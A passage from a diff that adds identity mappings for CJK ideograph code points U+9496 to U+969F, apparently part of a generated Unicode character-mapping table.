+ ["\u9496", "\u9496"], /* CJK Ideograph */
+ ["\u9497", "\u9497"], /* CJK Ideograph */
+ ["\u9498", "\u9498"], /* CJK Ideograph */
+ ["\u9499", "\u9499"], /* CJK Ideograph */
+ ["\u949A", "\u949A"], /* CJK Ideograph */
+ ["\u949B", "\u949B"], /* CJK Ideograph */
+ ["\u949C", "\u949C"], /* CJK Ideograph */
+ ["\u949D", "\u949D"], /* CJK Ideograph */
+ ["\u949E", "\u949E"], /* CJK Ideograph */
+ ["\u949F", "\u949F"], /* CJK Ideograph */
+ ["\u94A0", "\u94A0"], /* CJK Ideograph */
+ ["\u94A1", "\u94A1"], /* CJK Ideograph */
+ ["\u94A2", "\u94A2"], /* CJK Ideograph */
+ ["\u94A3", "\u94A3"], /* CJK Ideograph */
+ ["\u94A4", "\u94A4"], /* CJK Ideograph */
+ ["\u94A5", "\u94A5"], /* CJK Ideograph */
+ ["\u94A6", "\u94A6"], /* CJK Ideograph */
+ ["\u94A7", "\u94A7"], /* CJK Ideograph */
+ ["\u94A8", "\u94A8"], /* CJK Ideograph */
+ ["\u94A9", "\u94A9"], /* CJK Ideograph */
+ ["\u94AA", "\u94AA"], /* CJK Ideograph */
+ ["\u94AB", "\u94AB"], /* CJK Ideograph */
+ ["\u94AC", "\u94AC"], /* CJK Ideograph */
+ ["\u94AD", "\u94AD"], /* CJK Ideograph */
+ ["\u94AE", "\u94AE"], /* CJK Ideograph */
+ ["\u94AF", "\u94AF"], /* CJK Ideograph */
+ ["\u94B0", "\u94B0"], /* CJK Ideograph */
+ ["\u94B1", "\u94B1"], /* CJK Ideograph */
+ ["\u94B2", "\u94B2"], /* CJK Ideograph */
+ ["\u94B3", "\u94B3"], /* CJK Ideograph */
+ ["\u94B4", "\u94B4"], /* CJK Ideograph */
+ ["\u94B5", "\u94B5"], /* CJK Ideograph */
+ ["\u94B6", "\u94B6"], /* CJK Ideograph */
+ ["\u94B7", "\u94B7"], /* CJK Ideograph */
+ ["\u94B8", "\u94B8"], /* CJK Ideograph */
+ ["\u94B9", "\u94B9"], /* CJK Ideograph */
+ ["\u94BA", "\u94BA"], /* CJK Ideograph */
+ ["\u94BB", "\u94BB"], /* CJK Ideograph */
+ ["\u94BC", "\u94BC"], /* CJK Ideograph */
+ ["\u94BD", "\u94BD"], /* CJK Ideograph */
+ ["\u94BE", "\u94BE"], /* CJK Ideograph */
+ ["\u94BF", "\u94BF"], /* CJK Ideograph */
+ ["\u94C0", "\u94C0"], /* CJK Ideograph */
+ ["\u94C1", "\u94C1"], /* CJK Ideograph */
+ ["\u94C2", "\u94C2"], /* CJK Ideograph */
+ ["\u94C3", "\u94C3"], /* CJK Ideograph */
+ ["\u94C4", "\u94C4"], /* CJK Ideograph */
+ ["\u94C5", "\u94C5"], /* CJK Ideograph */
+ ["\u94C6", "\u94C6"], /* CJK Ideograph */
+ ["\u94C7", "\u94C7"], /* CJK Ideograph */
+ ["\u94C8", "\u94C8"], /* CJK Ideograph */
+ ["\u94C9", "\u94C9"], /* CJK Ideograph */
+ ["\u94CA", "\u94CA"], /* CJK Ideograph */
+ ["\u94CB", "\u94CB"], /* CJK Ideograph */
+ ["\u94CC", "\u94CC"], /* CJK Ideograph */
+ ["\u94CD", "\u94CD"], /* CJK Ideograph */
+ ["\u94CE", "\u94CE"], /* CJK Ideograph */
+ ["\u94CF", "\u94CF"], /* CJK Ideograph */
+ ["\u94D0", "\u94D0"], /* CJK Ideograph */
+ ["\u94D1", "\u94D1"], /* CJK Ideograph */
+ ["\u94D2", "\u94D2"], /* CJK Ideograph */
+ ["\u94D3", "\u94D3"], /* CJK Ideograph */
+ ["\u94D4", "\u94D4"], /* CJK Ideograph */
+ ["\u94D5", "\u94D5"], /* CJK Ideograph */
+ ["\u94D6", "\u94D6"], /* CJK Ideograph */
+ ["\u94D7", "\u94D7"], /* CJK Ideograph */
+ ["\u94D8", "\u94D8"], /* CJK Ideograph */
+ ["\u94D9", "\u94D9"], /* CJK Ideograph */
+ ["\u94DA", "\u94DA"], /* CJK Ideograph */
+ ["\u94DB", "\u94DB"], /* CJK Ideograph */
+ ["\u94DC", "\u94DC"], /* CJK Ideograph */
+ ["\u94DD", "\u94DD"], /* CJK Ideograph */
+ ["\u94DE", "\u94DE"], /* CJK Ideograph */
+ ["\u94DF", "\u94DF"], /* CJK Ideograph */
+ ["\u94E0", "\u94E0"], /* CJK Ideograph */
+ ["\u94E1", "\u94E1"], /* CJK Ideograph */
+ ["\u94E2", "\u94E2"], /* CJK Ideograph */
+ ["\u94E3", "\u94E3"], /* CJK Ideograph */
+ ["\u94E4", "\u94E4"], /* CJK Ideograph */
+ ["\u94E5", "\u94E5"], /* CJK Ideograph */
+ ["\u94E6", "\u94E6"], /* CJK Ideograph */
+ ["\u94E7", "\u94E7"], /* CJK Ideograph */
+ ["\u94E8", "\u94E8"], /* CJK Ideograph */
+ ["\u94E9", "\u94E9"], /* CJK Ideograph */
+ ["\u94EA", "\u94EA"], /* CJK Ideograph */
+ ["\u94EB", "\u94EB"], /* CJK Ideograph */
+ ["\u94EC", "\u94EC"], /* CJK Ideograph */
+ ["\u94ED", "\u94ED"], /* CJK Ideograph */
+ ["\u94EE", "\u94EE"], /* CJK Ideograph */
+ ["\u94EF", "\u94EF"], /* CJK Ideograph */
+ ["\u94F0", "\u94F0"], /* CJK Ideograph */
+ ["\u94F1", "\u94F1"], /* CJK Ideograph */
+ ["\u94F2", "\u94F2"], /* CJK Ideograph */
+ ["\u94F3", "\u94F3"], /* CJK Ideograph */
+ ["\u94F4", "\u94F4"], /* CJK Ideograph */
+ ["\u94F5", "\u94F5"], /* CJK Ideograph */
+ ["\u94F6", "\u94F6"], /* CJK Ideograph */
+ ["\u94F7", "\u94F7"], /* CJK Ideograph */
+ ["\u94F8", "\u94F8"], /* CJK Ideograph */
+ ["\u94F9", "\u94F9"], /* CJK Ideograph */
+ ["\u94FA", "\u94FA"], /* CJK Ideograph */
+ ["\u94FB", "\u94FB"], /* CJK Ideograph */
+ ["\u94FC", "\u94FC"], /* CJK Ideograph */
+ ["\u94FD", "\u94FD"], /* CJK Ideograph */
+ ["\u94FE", "\u94FE"], /* CJK Ideograph */
+ ["\u94FF", "\u94FF"], /* CJK Ideograph */
+ ["\u9500", "\u9500"], /* CJK Ideograph */
+ ["\u9501", "\u9501"], /* CJK Ideograph */
+ ["\u9502", "\u9502"], /* CJK Ideograph */
+ ["\u9503", "\u9503"], /* CJK Ideograph */
+ ["\u9504", "\u9504"], /* CJK Ideograph */
+ ["\u9505", "\u9505"], /* CJK Ideograph */
+ ["\u9506", "\u9506"], /* CJK Ideograph */
+ ["\u9507", "\u9507"], /* CJK Ideograph */
+ ["\u9508", "\u9508"], /* CJK Ideograph */
+ ["\u9509", "\u9509"], /* CJK Ideograph */
+ ["\u950A", "\u950A"], /* CJK Ideograph */
+ ["\u950B", "\u950B"], /* CJK Ideograph */
+ ["\u950C", "\u950C"], /* CJK Ideograph */
+ ["\u950D", "\u950D"], /* CJK Ideograph */
+ ["\u950E", "\u950E"], /* CJK Ideograph */
+ ["\u950F", "\u950F"], /* CJK Ideograph */
+ ["\u9510", "\u9510"], /* CJK Ideograph */
+ ["\u9511", "\u9511"], /* CJK Ideograph */
+ ["\u9512", "\u9512"], /* CJK Ideograph */
+ ["\u9513", "\u9513"], /* CJK Ideograph */
+ ["\u9514", "\u9514"], /* CJK Ideograph */
+ ["\u9515", "\u9515"], /* CJK Ideograph */
+ ["\u9516", "\u9516"], /* CJK Ideograph */
+ ["\u9517", "\u9517"], /* CJK Ideograph */
+ ["\u9518", "\u9518"], /* CJK Ideograph */
+ ["\u9519", "\u9519"], /* CJK Ideograph */
+ ["\u951A", "\u951A"], /* CJK Ideograph */
+ ["\u951B", "\u951B"], /* CJK Ideograph */
+ ["\u951C", "\u951C"], /* CJK Ideograph */
+ ["\u951D", "\u951D"], /* CJK Ideograph */
+ ["\u951E", "\u951E"], /* CJK Ideograph */
+ ["\u951F", "\u951F"], /* CJK Ideograph */
+ ["\u9520", "\u9520"], /* CJK Ideograph */
+ ["\u9521", "\u9521"], /* CJK Ideograph */
+ ["\u9522", "\u9522"], /* CJK Ideograph */
+ ["\u9523", "\u9523"], /* CJK Ideograph */
+ ["\u9524", "\u9524"], /* CJK Ideograph */
+ ["\u9525", "\u9525"], /* CJK Ideograph */
+ ["\u9526", "\u9526"], /* CJK Ideograph */
+ ["\u9527", "\u9527"], /* CJK Ideograph */
+ ["\u9528", "\u9528"], /* CJK Ideograph */
+ ["\u9529", "\u9529"], /* CJK Ideograph */
+ ["\u952A", "\u952A"], /* CJK Ideograph */
+ ["\u952B", "\u952B"], /* CJK Ideograph */
+ ["\u952C", "\u952C"], /* CJK Ideograph */
+ ["\u952D", "\u952D"], /* CJK Ideograph */
+ ["\u952E", "\u952E"], /* CJK Ideograph */
+ ["\u952F", "\u952F"], /* CJK Ideograph */
+ ["\u9530", "\u9530"], /* CJK Ideograph */
+ ["\u9531", "\u9531"], /* CJK Ideograph */
+ ["\u9532", "\u9532"], /* CJK Ideograph */
+ ["\u9533", "\u9533"], /* CJK Ideograph */
+ ["\u9534", "\u9534"], /* CJK Ideograph */
+ ["\u9535", "\u9535"], /* CJK Ideograph */
+ ["\u9536", "\u9536"], /* CJK Ideograph */
+ ["\u9537", "\u9537"], /* CJK Ideograph */
+ ["\u9538", "\u9538"], /* CJK Ideograph */
+ ["\u9539", "\u9539"], /* CJK Ideograph */
+ ["\u953A", "\u953A"], /* CJK Ideograph */
+ ["\u953B", "\u953B"], /* CJK Ideograph */
+ ["\u953C", "\u953C"], /* CJK Ideograph */
+ ["\u953D", "\u953D"], /* CJK Ideograph */
+ ["\u953E", "\u953E"], /* CJK Ideograph */
+ ["\u953F", "\u953F"], /* CJK Ideograph */
+ ["\u9540", "\u9540"], /* CJK Ideograph */
+ ["\u9541", "\u9541"], /* CJK Ideograph */
+ ["\u9542", "\u9542"], /* CJK Ideograph */
+ ["\u9543", "\u9543"], /* CJK Ideograph */
+ ["\u9544", "\u9544"], /* CJK Ideograph */
+ ["\u9545", "\u9545"], /* CJK Ideograph */
+ ["\u9546", "\u9546"], /* CJK Ideograph */
+ ["\u9547", "\u9547"], /* CJK Ideograph */
+ ["\u9548", "\u9548"], /* CJK Ideograph */
+ ["\u9549", "\u9549"], /* CJK Ideograph */
+ ["\u954A", "\u954A"], /* CJK Ideograph */
+ ["\u954B", "\u954B"], /* CJK Ideograph */
+ ["\u954C", "\u954C"], /* CJK Ideograph */
+ ["\u954D", "\u954D"], /* CJK Ideograph */
+ ["\u954E", "\u954E"], /* CJK Ideograph */
+ ["\u954F", "\u954F"], /* CJK Ideograph */
+ ["\u9550", "\u9550"], /* CJK Ideograph */
+ ["\u9551", "\u9551"], /* CJK Ideograph */
+ ["\u9552", "\u9552"], /* CJK Ideograph */
+ ["\u9553", "\u9553"], /* CJK Ideograph */
+ ["\u9554", "\u9554"], /* CJK Ideograph */
+ ["\u9555", "\u9555"], /* CJK Ideograph */
+ ["\u9556", "\u9556"], /* CJK Ideograph */
+ ["\u9557", "\u9557"], /* CJK Ideograph */
+ ["\u9558", "\u9558"], /* CJK Ideograph */
+ ["\u9559", "\u9559"], /* CJK Ideograph */
+ ["\u955A", "\u955A"], /* CJK Ideograph */
+ ["\u955B", "\u955B"], /* CJK Ideograph */
+ ["\u955C", "\u955C"], /* CJK Ideograph */
+ ["\u955D", "\u955D"], /* CJK Ideograph */
+ ["\u955E", "\u955E"], /* CJK Ideograph */
+ ["\u955F", "\u955F"], /* CJK Ideograph */
+ ["\u9560", "\u9560"], /* CJK Ideograph */
+ ["\u9561", "\u9561"], /* CJK Ideograph */
+ ["\u9562", "\u9562"], /* CJK Ideograph */
+ ["\u9563", "\u9563"], /* CJK Ideograph */
+ ["\u9564", "\u9564"], /* CJK Ideograph */
+ ["\u9565", "\u9565"], /* CJK Ideograph */
+ ["\u9566", "\u9566"], /* CJK Ideograph */
+ ["\u9567", "\u9567"], /* CJK Ideograph */
+ ["\u9568", "\u9568"], /* CJK Ideograph */
+ ["\u9569", "\u9569"], /* CJK Ideograph */
+ ["\u956A", "\u956A"], /* CJK Ideograph */
+ ["\u956B", "\u956B"], /* CJK Ideograph */
+ ["\u956C", "\u956C"], /* CJK Ideograph */
+ ["\u956D", "\u956D"], /* CJK Ideograph */
+ ["\u956E", "\u956E"], /* CJK Ideograph */
+ ["\u956F", "\u956F"], /* CJK Ideograph */
+ ["\u9570", "\u9570"], /* CJK Ideograph */
+ ["\u9571", "\u9571"], /* CJK Ideograph */
+ ["\u9572", "\u9572"], /* CJK Ideograph */
+ ["\u9573", "\u9573"], /* CJK Ideograph */
+ ["\u9574", "\u9574"], /* CJK Ideograph */
+ ["\u9575", "\u9575"], /* CJK Ideograph */
+ ["\u9576", "\u9576"], /* CJK Ideograph */
+ ["\u9577", "\u9577"], /* CJK Ideograph */
+ ["\u9578", "\u9578"], /* CJK Ideograph */
+ ["\u9579", "\u9579"], /* CJK Ideograph */
+ ["\u957A", "\u957A"], /* CJK Ideograph */
+ ["\u957B", "\u957B"], /* CJK Ideograph */
+ ["\u957C", "\u957C"], /* CJK Ideograph */
+ ["\u957D", "\u957D"], /* CJK Ideograph */
+ ["\u957E", "\u957E"], /* CJK Ideograph */
+ ["\u957F", "\u957F"], /* CJK Ideograph */
+ ["\u9580", "\u9580"], /* CJK Ideograph */
+ ["\u9581", "\u9581"], /* CJK Ideograph */
+ ["\u9582", "\u9582"], /* CJK Ideograph */
+ ["\u9583", "\u9583"], /* CJK Ideograph */
+ ["\u9584", "\u9584"], /* CJK Ideograph */
+ ["\u9585", "\u9585"], /* CJK Ideograph */
+ ["\u9586", "\u9586"], /* CJK Ideograph */
+ ["\u9587", "\u9587"], /* CJK Ideograph */
+ ["\u9588", "\u9588"], /* CJK Ideograph */
+ ["\u9589", "\u9589"], /* CJK Ideograph */
+ ["\u958A", "\u958A"], /* CJK Ideograph */
+ ["\u958B", "\u958B"], /* CJK Ideograph */
+ ["\u958C", "\u958C"], /* CJK Ideograph */
+ ["\u958D", "\u958D"], /* CJK Ideograph */
+ ["\u958E", "\u958E"], /* CJK Ideograph */
+ ["\u958F", "\u958F"], /* CJK Ideograph */
+ ["\u9590", "\u9590"], /* CJK Ideograph */
+ ["\u9591", "\u9591"], /* CJK Ideograph */
+ ["\u9592", "\u9592"], /* CJK Ideograph */
+ ["\u9593", "\u9593"], /* CJK Ideograph */
+ ["\u9594", "\u9594"], /* CJK Ideograph */
+ ["\u9595", "\u9595"], /* CJK Ideograph */
+ ["\u9596", "\u9596"], /* CJK Ideograph */
+ ["\u9597", "\u9597"], /* CJK Ideograph */
+ ["\u9598", "\u9598"], /* CJK Ideograph */
+ ["\u9599", "\u9599"], /* CJK Ideograph */
+ ["\u959A", "\u959A"], /* CJK Ideograph */
+ ["\u959B", "\u959B"], /* CJK Ideograph */
+ ["\u959C", "\u959C"], /* CJK Ideograph */
+ ["\u959D", "\u959D"], /* CJK Ideograph */
+ ["\u959E", "\u959E"], /* CJK Ideograph */
+ ["\u959F", "\u959F"], /* CJK Ideograph */
+ ["\u95A0", "\u95A0"], /* CJK Ideograph */
+ ["\u95A1", "\u95A1"], /* CJK Ideograph */
+ ["\u95A2", "\u95A2"], /* CJK Ideograph */
+ ["\u95A3", "\u95A3"], /* CJK Ideograph */
+ ["\u95A4", "\u95A4"], /* CJK Ideograph */
+ ["\u95A5", "\u95A5"], /* CJK Ideograph */
+ ["\u95A6", "\u95A6"], /* CJK Ideograph */
+ ["\u95A7", "\u95A7"], /* CJK Ideograph */
+ ["\u95A8", "\u95A8"], /* CJK Ideograph */
+ ["\u95A9", "\u95A9"], /* CJK Ideograph */
+ ["\u95AA", "\u95AA"], /* CJK Ideograph */
+ ["\u95AB", "\u95AB"], /* CJK Ideograph */
+ ["\u95AC", "\u95AC"], /* CJK Ideograph */
+ ["\u95AD", "\u95AD"], /* CJK Ideograph */
+ ["\u95AE", "\u95AE"], /* CJK Ideograph */
+ ["\u95AF", "\u95AF"], /* CJK Ideograph */
+ ["\u95B0", "\u95B0"], /* CJK Ideograph */
+ ["\u95B1", "\u95B1"], /* CJK Ideograph */
+ ["\u95B2", "\u95B2"], /* CJK Ideograph */
+ ["\u95B3", "\u95B3"], /* CJK Ideograph */
+ ["\u95B4", "\u95B4"], /* CJK Ideograph */
+ ["\u95B5", "\u95B5"], /* CJK Ideograph */
+ ["\u95B6", "\u95B6"], /* CJK Ideograph */
+ ["\u95B7", "\u95B7"], /* CJK Ideograph */
+ ["\u95B8", "\u95B8"], /* CJK Ideograph */
+ ["\u95B9", "\u95B9"], /* CJK Ideograph */
+ ["\u95BA", "\u95BA"], /* CJK Ideograph */
+ ["\u95BB", "\u95BB"], /* CJK Ideograph */
+ ["\u95BC", "\u95BC"], /* CJK Ideograph */
+ ["\u95BD", "\u95BD"], /* CJK Ideograph */
+ ["\u95BE", "\u95BE"], /* CJK Ideograph */
+ ["\u95BF", "\u95BF"], /* CJK Ideograph */
+ ["\u95C0", "\u95C0"], /* CJK Ideograph */
+ ["\u95C1", "\u95C1"], /* CJK Ideograph */
+ ["\u95C2", "\u95C2"], /* CJK Ideograph */
+ ["\u95C3", "\u95C3"], /* CJK Ideograph */
+ ["\u95C4", "\u95C4"], /* CJK Ideograph */
+ ["\u95C5", "\u95C5"], /* CJK Ideograph */
+ ["\u95C6", "\u95C6"], /* CJK Ideograph */
+ ["\u95C7", "\u95C7"], /* CJK Ideograph */
+ ["\u95C8", "\u95C8"], /* CJK Ideograph */
+ ["\u95C9", "\u95C9"], /* CJK Ideograph */
+ ["\u95CA", "\u95CA"], /* CJK Ideograph */
+ ["\u95CB", "\u95CB"], /* CJK Ideograph */
+ ["\u95CC", "\u95CC"], /* CJK Ideograph */
+ ["\u95CD", "\u95CD"], /* CJK Ideograph */
+ ["\u95CE", "\u95CE"], /* CJK Ideograph */
+ ["\u95CF", "\u95CF"], /* CJK Ideograph */
+ ["\u95D0", "\u95D0"], /* CJK Ideograph */
+ ["\u95D1", "\u95D1"], /* CJK Ideograph */
+ ["\u95D2", "\u95D2"], /* CJK Ideograph */
+ ["\u95D3", "\u95D3"], /* CJK Ideograph */
+ ["\u95D4", "\u95D4"], /* CJK Ideograph */
+ ["\u95D5", "\u95D5"], /* CJK Ideograph */
+ ["\u95D6", "\u95D6"], /* CJK Ideograph */
+ ["\u95D7", "\u95D7"], /* CJK Ideograph */
+ ["\u95D8", "\u95D8"], /* CJK Ideograph */
+ ["\u95D9", "\u95D9"], /* CJK Ideograph */
+ ["\u95DA", "\u95DA"], /* CJK Ideograph */
+ ["\u95DB", "\u95DB"], /* CJK Ideograph */
+ ["\u95DC", "\u95DC"], /* CJK Ideograph */
+ ["\u95DD", "\u95DD"], /* CJK Ideograph */
+ ["\u95DE", "\u95DE"], /* CJK Ideograph */
+ ["\u95DF", "\u95DF"], /* CJK Ideograph */
+ ["\u95E0", "\u95E0"], /* CJK Ideograph */
+ ["\u95E1", "\u95E1"], /* CJK Ideograph */
+ ["\u95E2", "\u95E2"], /* CJK Ideograph */
+ ["\u95E3", "\u95E3"], /* CJK Ideograph */
+ ["\u95E4", "\u95E4"], /* CJK Ideograph */
+ ["\u95E5", "\u95E5"], /* CJK Ideograph */
+ ["\u95E6", "\u95E6"], /* CJK Ideograph */
+ ["\u95E7", "\u95E7"], /* CJK Ideograph */
+ ["\u95E8", "\u95E8"], /* CJK Ideograph */
+ ["\u95E9", "\u95E9"], /* CJK Ideograph */
+ ["\u95EA", "\u95EA"], /* CJK Ideograph */
+ ["\u95EB", "\u95EB"], /* CJK Ideograph */
+ ["\u95EC", "\u95EC"], /* CJK Ideograph */
+ ["\u95ED", "\u95ED"], /* CJK Ideograph */
+ ["\u95EE", "\u95EE"], /* CJK Ideograph */
+ ["\u95EF", "\u95EF"], /* CJK Ideograph */
+ ["\u95F0", "\u95F0"], /* CJK Ideograph */
+ ["\u95F1", "\u95F1"], /* CJK Ideograph */
+ ["\u95F2", "\u95F2"], /* CJK Ideograph */
+ ["\u95F3", "\u95F3"], /* CJK Ideograph */
+ ["\u95F4", "\u95F4"], /* CJK Ideograph */
+ ["\u95F5", "\u95F5"], /* CJK Ideograph */
+ ["\u95F6", "\u95F6"], /* CJK Ideograph */
+ ["\u95F7", "\u95F7"], /* CJK Ideograph */
+ ["\u95F8", "\u95F8"], /* CJK Ideograph */
+ ["\u95F9", "\u95F9"], /* CJK Ideograph */
+ ["\u95FA", "\u95FA"], /* CJK Ideograph */
+ ["\u95FB", "\u95FB"], /* CJK Ideograph */
+ ["\u95FC", "\u95FC"], /* CJK Ideograph */
+ ["\u95FD", "\u95FD"], /* CJK Ideograph */
+ ["\u95FE", "\u95FE"], /* CJK Ideograph */
+ ["\u95FF", "\u95FF"], /* CJK Ideograph */
+ ["\u9600", "\u9600"], /* CJK Ideograph */
+ ["\u9601", "\u9601"], /* CJK Ideograph */
+ ["\u9602", "\u9602"], /* CJK Ideograph */
+ ["\u9603", "\u9603"], /* CJK Ideograph */
+ ["\u9604", "\u9604"], /* CJK Ideograph */
+ ["\u9605", "\u9605"], /* CJK Ideograph */
+ ["\u9606", "\u9606"], /* CJK Ideograph */
+ ["\u9607", "\u9607"], /* CJK Ideograph */
+ ["\u9608", "\u9608"], /* CJK Ideograph */
+ ["\u9609", "\u9609"], /* CJK Ideograph */
+ ["\u960A", "\u960A"], /* CJK Ideograph */
+ ["\u960B", "\u960B"], /* CJK Ideograph */
+ ["\u960C", "\u960C"], /* CJK Ideograph */
+ ["\u960D", "\u960D"], /* CJK Ideograph */
+ ["\u960E", "\u960E"], /* CJK Ideograph */
+ ["\u960F", "\u960F"], /* CJK Ideograph */
+ ["\u9610", "\u9610"], /* CJK Ideograph */
+ ["\u9611", "\u9611"], /* CJK Ideograph */
+ ["\u9612", "\u9612"], /* CJK Ideograph */
+ ["\u9613", "\u9613"], /* CJK Ideograph */
+ ["\u9614", "\u9614"], /* CJK Ideograph */
+ ["\u9615", "\u9615"], /* CJK Ideograph */
+ ["\u9616", "\u9616"], /* CJK Ideograph */
+ ["\u9617", "\u9617"], /* CJK Ideograph */
+ ["\u9618", "\u9618"], /* CJK Ideograph */
+ ["\u9619", "\u9619"], /* CJK Ideograph */
+ ["\u961A", "\u961A"], /* CJK Ideograph */
+ ["\u961B", "\u961B"], /* CJK Ideograph */
+ ["\u961C", "\u961C"], /* CJK Ideograph */
+ ["\u961D", "\u961D"], /* CJK Ideograph */
+ ["\u961E", "\u961E"], /* CJK Ideograph */
+ ["\u961F", "\u961F"], /* CJK Ideograph */
+ ["\u9620", "\u9620"], /* CJK Ideograph */
+ ["\u9621", "\u9621"], /* CJK Ideograph */
+ ["\u9622", "\u9622"], /* CJK Ideograph */
+ ["\u9623", "\u9623"], /* CJK Ideograph */
+ ["\u9624", "\u9624"], /* CJK Ideograph */
+ ["\u9625", "\u9625"], /* CJK Ideograph */
+ ["\u9626", "\u9626"], /* CJK Ideograph */
+ ["\u9627", "\u9627"], /* CJK Ideograph */
+ ["\u9628", "\u9628"], /* CJK Ideograph */
+ ["\u9629", "\u9629"], /* CJK Ideograph */
+ ["\u962A", "\u962A"], /* CJK Ideograph */
+ ["\u962B", "\u962B"], /* CJK Ideograph */
+ ["\u962C", "\u962C"], /* CJK Ideograph */
+ ["\u962D", "\u962D"], /* CJK Ideograph */
+ ["\u962E", "\u962E"], /* CJK Ideograph */
+ ["\u962F", "\u962F"], /* CJK Ideograph */
+ ["\u9630", "\u9630"], /* CJK Ideograph */
+ ["\u9631", "\u9631"], /* CJK Ideograph */
+ ["\u9632", "\u9632"], /* CJK Ideograph */
+ ["\u9633", "\u9633"], /* CJK Ideograph */
+ ["\u9634", "\u9634"], /* CJK Ideograph */
+ ["\u9635", "\u9635"], /* CJK Ideograph */
+ ["\u9636", "\u9636"], /* CJK Ideograph */
+ ["\u9637", "\u9637"], /* CJK Ideograph */
+ ["\u9638", "\u9638"], /* CJK Ideograph */
+ ["\u9639", "\u9639"], /* CJK Ideograph */
+ ["\u963A", "\u963A"], /* CJK Ideograph */
+ ["\u963B", "\u963B"], /* CJK Ideograph */
+ ["\u963C", "\u963C"], /* CJK Ideograph */
+ ["\u963D", "\u963D"], /* CJK Ideograph */
+ ["\u963E", "\u963E"], /* CJK Ideograph */
+ ["\u963F", "\u963F"], /* CJK Ideograph */
+ ["\u9640", "\u9640"], /* CJK Ideograph */
+ ["\u9641", "\u9641"], /* CJK Ideograph */
+ ["\u9642", "\u9642"], /* CJK Ideograph */
+ ["\u9643", "\u9643"], /* CJK Ideograph */
+ ["\u9644", "\u9644"], /* CJK Ideograph */
+ ["\u9645", "\u9645"], /* CJK Ideograph */
+ ["\u9646", "\u9646"], /* CJK Ideograph */
+ ["\u9647", "\u9647"], /* CJK Ideograph */
+ ["\u9648", "\u9648"], /* CJK Ideograph */
+ ["\u9649", "\u9649"], /* CJK Ideograph */
+ ["\u964A", "\u964A"], /* CJK Ideograph */
+ ["\u964B", "\u964B"], /* CJK Ideograph */
+ ["\u964C", "\u964C"], /* CJK Ideograph */
+ ["\u964D", "\u964D"], /* CJK Ideograph */
+ ["\u964E", "\u964E"], /* CJK Ideograph */
+ ["\u964F", "\u964F"], /* CJK Ideograph */
+ ["\u9650", "\u9650"], /* CJK Ideograph */
+ ["\u9651", "\u9651"], /* CJK Ideograph */
+ ["\u9652", "\u9652"], /* CJK Ideograph */
+ ["\u9653", "\u9653"], /* CJK Ideograph */
+ ["\u9654", "\u9654"], /* CJK Ideograph */
+ ["\u9655", "\u9655"], /* CJK Ideograph */
+ ["\u9656", "\u9656"], /* CJK Ideograph */
+ ["\u9657", "\u9657"], /* CJK Ideograph */
+ ["\u9658", "\u9658"], /* CJK Ideograph */
+ ["\u9659", "\u9659"], /* CJK Ideograph */
+ ["\u965A", "\u965A"], /* CJK Ideograph */
+ ["\u965B", "\u965B"], /* CJK Ideograph */
+ ["\u965C", "\u965C"], /* CJK Ideograph */
+ ["\u965D", "\u965D"], /* CJK Ideograph */
+ ["\u965E", "\u965E"], /* CJK Ideograph */
+ ["\u965F", "\u965F"], /* CJK Ideograph */
+ ["\u9660", "\u9660"], /* CJK Ideograph */
+ ["\u9661", "\u9661"], /* CJK Ideograph */
+ ["\u9662", "\u9662"], /* CJK Ideograph */
+ ["\u9663", "\u9663"], /* CJK Ideograph */
+ ["\u9664", "\u9664"], /* CJK Ideograph */
+ ["\u9665", "\u9665"], /* CJK Ideograph */
+ ["\u9666", "\u9666"], /* CJK Ideograph */
+ ["\u9667", "\u9667"], /* CJK Ideograph */
+ ["\u9668", "\u9668"], /* CJK Ideograph */
+ ["\u9669", "\u9669"], /* CJK Ideograph */
+ ["\u966A", "\u966A"], /* CJK Ideograph */
+ ["\u966B", "\u966B"], /* CJK Ideograph */
+ ["\u966C", "\u966C"], /* CJK Ideograph */
+ ["\u966D", "\u966D"], /* CJK Ideograph */
+ ["\u966E", "\u966E"], /* CJK Ideograph */
+ ["\u966F", "\u966F"], /* CJK Ideograph */
+ ["\u9670", "\u9670"], /* CJK Ideograph */
+ ["\u9671", "\u9671"], /* CJK Ideograph */
+ ["\u9672", "\u9672"], /* CJK Ideograph */
+ ["\u9673", "\u9673"], /* CJK Ideograph */
+ ["\u9674", "\u9674"], /* CJK Ideograph */
+ ["\u9675", "\u9675"], /* CJK Ideograph */
+ ["\u9676", "\u9676"], /* CJK Ideograph */
+ ["\u9677", "\u9677"], /* CJK Ideograph */
+ ["\u9678", "\u9678"], /* CJK Ideograph */
+ ["\u9679", "\u9679"], /* CJK Ideograph */
+ ["\u967A", "\u967A"], /* CJK Ideograph */
+ ["\u967B", "\u967B"], /* CJK Ideograph */
+ ["\u967C", "\u967C"], /* CJK Ideograph */
+ ["\u967D", "\u967D"], /* CJK Ideograph */
+ ["\u967E", "\u967E"], /* CJK Ideograph */
+ ["\u967F", "\u967F"], /* CJK Ideograph */
+ ["\u9680", "\u9680"], /* CJK Ideograph */
+ ["\u9681", "\u9681"], /* CJK Ideograph */
+ ["\u9682", "\u9682"], /* CJK Ideograph */
+ ["\u9683", "\u9683"], /* CJK Ideograph */
+ ["\u9684", "\u9684"], /* CJK Ideograph */
+ ["\u9685", "\u9685"], /* CJK Ideograph */
+ ["\u9686", "\u9686"], /* CJK Ideograph */
+ ["\u9687", "\u9687"], /* CJK Ideograph */
+ ["\u9688", "\u9688"], /* CJK Ideograph */
+ ["\u9689", "\u9689"], /* CJK Ideograph */
+ ["\u968A", "\u968A"], /* CJK Ideograph */
+ ["\u968B", "\u968B"], /* CJK Ideograph */
+ ["\u968C", "\u968C"], /* CJK Ideograph */
+ ["\u968D", "\u968D"], /* CJK Ideograph */
+ ["\u968E", "\u968E"], /* CJK Ideograph */
+ ["\u968F", "\u968F"], /* CJK Ideograph */
+ ["\u9690", "\u9690"], /* CJK Ideograph */
+ ["\u9691", "\u9691"], /* CJK Ideograph */
+ ["\u9692", "\u9692"], /* CJK Ideograph */
+ ["\u9693", "\u9693"], /* CJK Ideograph */
+ ["\u9694", "\u9694"], /* CJK Ideograph */
+ ["\u9695", "\u9695"], /* CJK Ideograph */
+ ["\u9696", "\u9696"], /* CJK Ideograph */
+ ["\u9697", "\u9697"], /* CJK Ideograph */
+ ["\u9698", "\u9698"], /* CJK Ideograph */
+ ["\u9699", "\u9699"], /* CJK Ideograph */
+ ["\u969A", "\u969A"], /* CJK Ideograph */
+ ["\u969B", "\u969B"], /* CJK Ideograph */
+ ["\u969C", "\u969C"], /* CJK Ideograph */
+ ["\u969D", "\u969D"], /* CJK Ideograph */
+ ["\u969E", "\u969E"], /* CJK Ideograph */
+ ["\u969F", "\u969F"], /* CJK Ideograph */
